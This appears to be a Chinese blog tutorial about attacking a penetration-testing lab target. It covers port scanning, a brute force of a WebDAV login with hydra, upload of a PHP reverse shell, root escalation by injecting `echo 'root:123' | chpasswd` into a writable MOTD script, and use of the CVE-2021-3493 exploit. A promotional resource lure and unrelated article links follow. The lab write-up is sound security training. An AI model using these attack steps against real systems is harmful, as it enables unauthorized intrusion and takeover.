网络安全之渗透靶场实战详解(渗透靶场搭建)
moboyou 2025-08-18 08:28 2 浏览
0x00 环境配置
虚拟网络编辑器:
Kali:
靶机:
0x01 主机发现/端口扫描
首先使用下面这条命令来发现靶机的ip地址为192.168.26.131
arp-scan -l
然后开始使用nmap进行端口和服务的发现
nmap -sV -sC -p- 192.168.26.131
经过对开放端口和服务的扫描,发现只开放了22端口和80端口,访问80端口也没发现什么可以测试的点,于是开始使用dirsearch进行目录的扫描。
【一>所有资源关注我,私信回复“资料”获取<一】
1、很多已经买不到的绝版电子书
2、安全大厂内部的培训资料
3、全套工具包
4、100份src源码技术文档
5、网络安全基础入门、Linux、web安全、攻防方面的视频
6、应急响应笔记 7、 网络安全学习路线
8、ctf夺旗赛解析
9、WEB安全入门笔记
0x02 信息收集
dirsearch --url http://192.168.26.131
经过目录扫描,发现了webdav的路径,访问了一波,发现需要登录,这里简单讲一下什么是webdav:
0x03 密码字典定制
在我进行了多次简单的弱口令尝试后发现不行,于是开始使用kali自带的字典进行暴力破解,但是跑了很久失败了,所以我打算使用kali自带的字典生成工具cewl生成一个针对这个网站专属的字典进行测试一波。
cewl http://192.168.26.131 -w 192.168.26.131dict.txt
0x04 hydra密码爆破
hydra -L 192.168.26.131dict.txt -P 192.168.26.131dict.txt 192.168.26.131 http-get /webdav -v
成功的爆破出了账号和密码,果然还是生成的专属字典比较好用。由于我们获取了webdav服务的相关认证信息,所以接下来我直接开始使用kali自带的webdav测试工具davtest进行测试,看能否传文件上去,如果可以的话,我们可以直接将webshell传到服务器上,以便getshell突破边界。
0x05 webdav漏洞
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg
通过上图我们可以知道,我们可以通过获取到的信息凭证建立一个DAV连接,并且可以在靶机上创建目录和上传文件,而上传到上面的文件只有txt,php,html三种格式的文件可以被执行,那么到这里我们getshell的思路就有了, 直接传一个反弹shell的php文件,然后kali监听本地端口,然后访问这个文件,触发执行即可getshell。
cp /usr/share/webshells/php/php-reverse-shell.php . #将kali自带反弹shell文件拷贝到当前目录
vim php-reverse-shell.php #编辑这个文件,将ip改为kali的ip 端口改为kali的端口
" #升级优化一下shell
0x06 MOTD注入提权
接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写 如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null
先cat了一下搜索到的第一个文件,发现里面有brainfuck加密的内容,所以尝试解密下。
在线解密网站:http://bf.doleczek.pl/
chitragupt
解密得到的这个可能是某个用户的密码,所以根据查看/etc/passwd文件发现的用户,挨个尝试下。
当我尝试切换到interno用户的时候,使用揭秘得到的这个字符串成功的su到了inferno用户上。到这里算是完成了从www-data权限到普通用户权限的权限提升。
然后我们在inferno用户的家目录下发现了第一个flag。
既然已经获取到了inferno用户的密码,我接下来尝试使用ssh登录到inferno用户上。
ssh inferno@192.168.26.131
成功登录到inferno用户后再次执行下面这条命令:
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
我观察到除了我们刚刚发现密码的那个文件,其他文件都在/etc/update-motd.d/这个目录下,motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。
那么现在我们知道了,当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权,思路有了下面开始操作。
vi /etc/update-motd.d/00-header #编辑这个文件
echo 'root:123' | chpasswd #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123
然后保存修改后,退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令。
当我们看到登录成功后的欢迎语的时候,root用户的密码已经成功的被我们修改成了123。
接着只需要su到root用户即可提权成功。
0x07 CVE-2021-3493提权:
在ssh成功登录后的欢迎语中,知道了靶机的版本是Ubuntu18.04,对于该版本我比较熟悉,之前用过该版本的提权漏洞,所以这里不过多赘述。先将exp下载到kali本地。
scp exploit.c inferno@192.168.26.131:/home/inferno #将exp上传到靶机
gcc exploit.c -o exploit #尝试编译exploit.c 并将编译好的文件命名为exploit
发现靶机上无法运行gcc,那么我们就在kali上先编译好,然后再传到靶机上即可。
chmod +x exploit #给exploit赋予执行权限
./exploit #执行exp
可以看到通过CVE-2021-3493同样获取到了root权限
相关推荐
- 分享一个企业网站前后台功能源代码
-
企业网站前后台功能图文介绍一、前台页面介绍1.首页亮点:大气Banner轮播、产品服务、公司优势、成功案例、新闻动态等一屏展示。截图:首页全景展示,突出企业形象与主要业务。2.关于我们亮点:公司简...
- SEO建站站群怎样快速的获得源代码
-
第一种,直接下载保存。可能有的站长并不知道怎样操作,其实最重要的就是将这个站点直接另存为,然后选择一个需要的目录。这是一种快速获得别人网站源代码的过程,但是这个不一定完全能使用,有可能其他站长对自己源...
- 分享8个精美网页模版/设计平台, 小团队也能做出专业级产品
-
在现代社会,网页已经成为企业、个人展示和宣传的重要窗口,因此掌握网页制作技能是非常有必要的。今天,我们将为大家介绍8款优秀的网页设计模板网站,哪怕是小白也能帮助你快速搭建出令人惊艳的网页。一、即时设计...
- 一键批量生成视频、批量混剪的AI视频开源工具,可一键发布多平台
-
如果你是一位自媒体创作者,想要快速批量生成短视频并自动发布到各大视频平台,那么这款名为MoneyPrinterPlus的开源工具,绝对是你不容错过的宝藏。这个工具不仅能够帮助你一键批量生成短视频,...
- 小白教你做网站 开放源代码(网站开发源代码)
-
昨天教大家搭建环境不知道大家弄好了没有问题的话就回复我一开始让你们关注微信公众号是以为回复太多忙不过来现在看来也没几个回复的我还能应付不过头条回复机制貌似有问题有的回复停一会就消失了不...
- 把DeepSeek生成的动效网页放进PPT,大佬推荐这个神器,免费用!
-
昨天,AI界自媒体和头部大佬@数字生命卡兹克,在给大家分享“在PPT中插入AI生成的动态可视化效果”时,给大家推荐了不坑盒子。(其实这个我也发过视频,也直播讲过……)本来准备缓缓更新这一版的不坑盒子的...
- HTML5响应式餐饮加盟管理类企业网站源码,自适应手机版
-
织梦dedecms响应式餐饮美食加盟企业网站模板(自适应手机移动端)该网站适合餐饮类,火锅料,饭店类通用,一站式解决方案可以开发定制,企业网站定制开发,微信小程序、商城开发等解决方案直接在宝塔环境安装...
- 教你免费搭建个人网站(GitHub)(免费建立个人网页)
-
GitHubDesktop是GitHub公司发布的一款桌面版应用。无论您是Git的新手还是经验丰富的用户,GitHubDesktop都可以简化您的开发工作流程。不需要使用Git命令,即可把您本地...
- 常用JSP文件上传,下载的一些方法(jsp如何实现文件上传下载)
-
常用JSP文件上传,下载的一些方法,Java实现文件分片上传、大文件秒传,大文件如何做断点续传?JAVAWEB文件上传及下载,JAVA大文件上传,大文件下载解决方案,JAVA实现文件分片上传并且断点...
- Django媒体资源(附一套简易Django文件上传源码)
-
媒体资源——MEDIA一般情况下,STATIC_URL是设置静态文件的路由地址,如CSS文件,JavaScript文件以及常用的图片等信息。对于一些经常变动的资源,通常将其存放在媒体资源文件夹,如用户...
- m3u8转换mp4格式:批量转换视频,7招让你一键转换
-
很多人下载网络视频时,得到的不是常见的MP4文件,而是.m3u8播放列表文件。这种文件本质上是HLS(HTTPLiveStreaming)视频切片索引,需要先把里面的.ts片段下载,再...
- 4、学快速建站笔记-网站源码下载并上传空间
-
1、说明:网站源码百度上有很多,淘宝上也有很多,源码本身是完全免费使用不要钱的。2、随便选一个喜欢的下载。(举例)说明:记得是下载源码,不是模板。3、解压说明:解压后就是上面这样子,然后把文件名de@...
- .NET大文件上传详解及实例代码(netcore文件上传api)
-
前端用了HTML,VUE2,VUE3,后端用了ASP.NET,.NETCore.NETMVC,IDE用了VisualStudio2010,VisualStudio2013,VisualS...
- github上有人收集武汉公益信息,还做了个网站,源代码都出来了
-
最新新型冠状病毒的爆发,让全国各地深入水深火热的抗病毒战争当中,尤其是武汉,时不时爆出缺物资,缺食物,缺医疗人员的信息。甚至有不少医护人员感染,还有医生因此去世。全国各地网友纷纷献出爱心,寄物资,捐款...
- 短视频源码,短视频平台搭建需要用到的基本功能
-
短视频平台搭建需要用到的一些基本功能1、推荐机制,在小视频源码开发短视频推荐功能的时候,需要设计为不重复推荐给用户已经看过的视频,如果需要实现该功能,一定是需要把观看记录保存起来,可以用数据库,Red...
- 一周热门
- 最近发表
- 标签列表
-
- 外键约束 oracle (36)
- oracle的row number (32)
- 唯一索引 oracle (34)
- oracle in 表变量 (28)
- oracle导出dmp导出 (28)
- oracle两个表 (20)
- oracle 数据库 字符集 (20)
- 多线程的创建方式 (29)
- 多线程 python (30)
- java多线程并发处理 (32)
- 宏程序代码一览表 (35)
- c++需要学多久 (25)
- css class选择器用法 (25)
- css样式引入 (30)
- css教程文字移动 (33)
- php简单源码 (36)
- php个人中心源码 (25)
- php小说爬取源码 (23)
- 云电脑app源码 (22)
- html画折线图 (24)
- docker好玩的应用 (28)
- linux有没有pe工具 (34)
- mysql数据库源码 (21)
- php开源万能表单系统源码 (21)
- 可以上传视频的网站源码 (25)